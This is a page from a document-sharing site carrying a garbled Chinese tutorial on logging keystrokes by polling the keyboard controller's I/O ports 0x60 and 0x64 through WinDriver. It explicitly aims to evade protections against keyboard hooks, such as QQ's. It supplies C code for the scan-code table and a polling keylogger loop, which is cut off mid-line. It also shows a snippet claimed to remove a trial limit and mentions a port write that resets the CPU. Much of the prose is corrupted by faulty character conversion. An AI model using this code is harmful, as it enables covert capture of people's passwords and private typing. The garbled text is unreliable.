直接訪問鍵盤控制芯片獲取鍵盤記錄_第1頁
直接訪問鍵盤控制芯片獲取鍵盤記錄_第2頁
直接訪問鍵盤控制芯片獲取鍵盤記錄_第3頁
直接訪問鍵盤控制芯片獲取鍵盤記錄_第4頁
直接訪問鍵盤控制芯片獲取鍵盤記錄_第5頁
已閱讀5頁,還剩2頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

直接訪問鍵盤掌握芯片獵取鍵盤記錄鍵盤是用戶和機(jī)器之間主要的硬件接口,看看鍵盤上的那些鍵就可知道它有多么的簡(jiǎn)單了。鍵盤是我們隱私的源泉,我們各種信息的傳遞都要通過它。作為用戶表現(xiàn)信息的媒介,很多懷有惡意目的的人都想截取我們的鍵盤輸入。目前有很多方法可以做到,比方全局鉤子、GetKeyboardStatusQQHook鍵盤中斷處理程序的保護(hù)技術(shù),這些方法都顯得無能為力。為此,我將為大家介紹一種直接訪問鍵盤掌握芯片的方法,來實(shí)現(xiàn)對(duì)鍵盤輸入數(shù)據(jù)的最底層的讀取。盤編碼器的處理器〔Intel8048或兼容芯片〕特地用來掃描收集全部按鍵按下和松開的狀態(tài)數(shù)據(jù)〔即掃描碼。當(dāng)一個(gè)鍵被按下時(shí),鍵盤發(fā)送的掃描碼稱為接通掃描碼〔ee,或k,或簡(jiǎn)稱為斷開碼。是不同的,所以鍵盤掌握器依據(jù)掃描碼就可以確定用戶在操作哪個(gè)鍵了。整個(gè)鍵盤上全部按鍵的接通和斷開碼就組成了鍵盤的一個(gè)掃描碼集ne。依據(jù)電腦的進(jìn)展,目XT鍵盤掃描碼集,目前的鍵盤已經(jīng)很少發(fā)送這類掃描碼;其次套掃描碼集,現(xiàn)代鍵盤預(yù)設(shè)使用的掃描碼集,通常稱為AT鍵盤掃描碼集;第三套掃描碼集,PS/2鍵盤掃描碼集,原IBM推出PS/2微處理機(jī)時(shí)使用的掃描碼集,已很少使用。ATPC/XT機(jī)的軟體兼容起見,仍舊會(huì)把全部接收到的其次套鍵盤掃描碼轉(zhuǎn)換成第一套掃描碼,因此,我們從鍵盤掌握器獵取的通常為第一套掃描碼集。當(dāng)一個(gè)鍵被按下時(shí),我們可以從鍵盤掌握器接收到一個(gè)XT鍵盤接通碼。這個(gè)掃描碼僅表示鍵盤上某個(gè)位置處的鍵被按下,但還沒有對(duì)應(yīng)到某個(gè)字符代碼上,接通碼通常都是一個(gè)位組寬度。例如,按下鍵“A”的接通碼是30(0x1E)。當(dāng)一個(gè)按下的鍵被松開時(shí),從鍵盤掌握器端口收到的就是一個(gè)斷開碼。對(duì)于T鍵盤〔即鍵盤掌握器程序設(shè)計(jì)端口收到的掃描碼斷開碼是其接通碼加上0x80。例如,上述“A”鍵的斷開碼就是“0x80+0x1E=0x9E”。表1ScanCodeSet1中的全部掃描碼,我們寫程序時(shí)需要用到!表1描碼1E,并且能將它翻譯為A鍵被按下。鍵盤掌握芯片給我們使用的PC機(jī)供給了兩個(gè)可訪問的I/O端口,一個(gè)是0x60,一個(gè)是0x64,我們能夠讀取鍵盤緩沖區(qū)中的數(shù)據(jù),也能發(fā)送掌握命令。翻開設(shè)備治理器,如圖1所示,我們可以清楚地看到它們。0x60為數(shù)據(jù)端口,0x64為命令端口。圖1通常狀況下,我們從0x60讀取的數(shù)據(jù)就是鍵盤的掃描碼,而從0x64讀取的數(shù)據(jù)為鍵盤的狀態(tài)字。狀態(tài)字的各位含義如下:Bit7:從鍵盤獲得的數(shù)據(jù)奇偶校驗(yàn)錯(cuò)誤;Bit6:接收超時(shí),置1;Bit5:發(fā)送超時(shí),置1;Bit4:為1,鍵盤沒有被制止。為0,鍵盤被制止;Bit3:為1,輸入緩沖器中的內(nèi)容為命令,為0,輸入緩沖器中的內(nèi)容為數(shù)據(jù);Bit2:系統(tǒng)標(biāo)志,加電啟動(dòng)置0,自檢通過后置1;Bit1:輸入緩沖器滿置1,i8042取走后置0;Bit0:輸出緩沖器滿置1,CPU讀取后置0。接下來我們?cè)僬f一下端口的操作方法。WindowsNT系統(tǒng)是不允許直接操作端口的,只有通winio、windriver等。由于我的畢業(yè)設(shè)計(jì)涉及到視頻采集卡驅(qū)動(dòng)程序的設(shè)計(jì),所以就以windirver為例來說明端口操作方法windriver之后,在“\samples\basic_io\”basic_io.c,我們可以直接使用它供給的端口操作函數(shù)讀寫端口。留意修改IO_init函數(shù)添加如下語句:(責(zé)任編輯:admin)WD_LICENSElic;strcpy(lic.cLicense,你的licenseString);WD_License(hWD,&lic);這樣,我們使用的windrier驅(qū)動(dòng)就去掉了30天試用期限的限制了。它可以供給的函數(shù)如下,有了這些函數(shù),我們就可以直接讀寫端口了。BYTEIO_inp(DWORDdwIOAddr)//dwIOAddr讀取一個(gè)字節(jié)WORDIO_inpw(DWORDdwIOAddr)//dwIOAddr讀取兩個(gè)字節(jié)DWORDIO_inpd(DWORDdwIOAddr)//dwIOAddr讀取四個(gè)字節(jié)voidIO_outp(DWORDdwIOAddr,BYTEbData)//bDatadwIOAddrvoidIO_outpw(DWORDdwIOAddr,WORDwData)//bDatadwIOAddrvoidIO_outpd(DWORDdwIOAddr,DWORDdwData)//bDatadwIOAddr為了便利大家測(cè)試,我給大家供給一個(gè)好玩的例子。通過讀寫I/O端口掌握鍵盤上的NumLock、CapsLock、ScrollLockLED指示燈,向0x60端口發(fā)送掌握命令就可以掌握它LED的命令是0xEDLED沒亮之前〔試驗(yàn)之前請(qǐng)先使LED指示燈關(guān)掉〕發(fā)送0xED命令到0x60BYTE指示設(shè)置哪個(gè)LED,第2個(gè)BYTE用最低的3個(gè)字節(jié)設(shè)置這三個(gè)指示燈。問題是這種直接的方法沒有考慮鍵盤掌握字。假設(shè)芯片沒有預(yù)備好,將不會(huì)產(chǎn)生任何效果。另外,即使我們讀取0x64端口的狀態(tài)字,盤本身驅(qū)動(dòng)程序讀寫端口引起的干擾。因此,我們可以承受如下的測(cè)試程序。voidlight{BYTEstatus;while(1){status=IO_inp(0x00000064);printf(“%x“,status);IO_outp(0x00000060,0xed);IO_outp(0x00000060,0x07);Sleep(100);}}這樣,鍵盤正確接收到我們掌握命令的概率就比較大了。程序運(yùn)行幾十秒,就會(huì)覺察鍵盤上的三個(gè)指示燈突然全部亮了起來。IRQ1號(hào)線上送出中斷信號(hào),8259A中斷掌握器將此中斷信號(hào)與其它外部設(shè)備通過其余的IRQ線送來的中斷信號(hào)進(jìn)展判優(yōu)、排隊(duì),最終將此信息送給CPU。CPU在一條指令運(yùn)行完畢后,會(huì)查詢一中斷描述符表中查詢應(yīng)當(dāng)使用哪一個(gè)中斷處理程序。當(dāng)找到中斷處理程序后,CPU將調(diào)用緩沖區(qū)中〔0,中斷處理程序所要作的就是從輸入緩沖區(qū)拿走數(shù)據(jù)并且翻譯數(shù)據(jù)。所以我們可以直接讀取輸出緩沖區(qū),即0x60端口直接獵取鍵盤數(shù)據(jù)的掃描碼,并且不會(huì)干擾中斷處理程序的正常工作。留意,我們?cè)谳喸儝呙璐a時(shí)最好不要讀取0x64端口,盡管從該端口可以讀取鍵盤輸入輸出緩沖區(qū)的狀態(tài)信息〔滿或空,但是從4讀取狀態(tài)字會(huì)引起0x60端口上數(shù)據(jù)的去除,可能會(huì)導(dǎo)致鍵盤驅(qū)動(dòng)無法讀取輸入數(shù)據(jù)。盡管鍵盤掌握器供給了很多操作命令,但我們最好不要往0x60或0x64端口直接寫入數(shù)據(jù),IO_outp(0x00000064,0xfe)操作將會(huì)引起操作系統(tǒng)的〔ResetCPUReset管腳電平。makecode作為數(shù)組下標(biāo)索引打印鍵的名稱。charkeycode[55][5]={““,“ESC“,“1“,“2“,“3“,“4“,“5“,“6“,“7“,“8“,“9“,“0“,“-“,“=“,“BSP“,“TAB“,“Q“,“W“,“E“,“R“,“T“,“Y“,“U“,“I“,“O“,“P“,“[“,“]“,“ENT“,“LCT“,“A“,“S“,“D“,“F“,“G“,“H“,“J“,“K“,“L“,“;“,“”“,“`“,“LSH“,“\\“,“Z“,“X“,“C“,“V“,“B“,“N“,“M“,“,“,“.“,“/“,“RSH“,“*“,“LAL“,“SPA“,“CAP“,“F1“,“F2“,“F3“,“F4“,“F5“,“F6“,“F7“,“F8“,“F9“,“F10“,“NUM“,“SCO“,“7“,“8“,“9“,“-“,“4“,“5“,“6“,“+“,“1“,“2“,“3“,“0“,“.“};這里我只定義了前53個(gè)掃描碼的鍵名稱,對(duì)于一般的只記錄字母、符號(hào)的鍵盤記錄,這些信息已經(jīng)足夠了。以下為從0x60輪詢掃描碼的程序代碼。voidLog{BYTEretData;BYTEkeyDown;//鍵按下數(shù)據(jù)BYTEkeyUp;//鍵彈起數(shù)據(jù)BYTEbCanLog1=1;BYTEbCanLog2=1;while(1){retData=IO_inp((DWORD)0x00000060);if(retData==0x00||retData==0xff||retData==0xaa||retData==0xee||retData==0xf0||retData==0xfa||retData==0xfe||retData==0xfc){Sleep(50);continue;//非掃描碼數(shù)據(jù)的過濾,可以依據(jù)狀況添加自己不需要的按鍵信息(責(zé)任編輯:admin)}//makecodebreakcode,makecode最高位為0。keycode使用makecode作為索引打印按鍵if(!(retData&0x80)) //有鍵被按下{keyDown=retData;}//有鍵放開!retData第7位為1makecode記錄鍵值,makecode第7位為0!if(retData&0x80){keyUp=retData&0x7f;if(keyUp==keyDown){printf(“%s“,keycode[keyDown

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論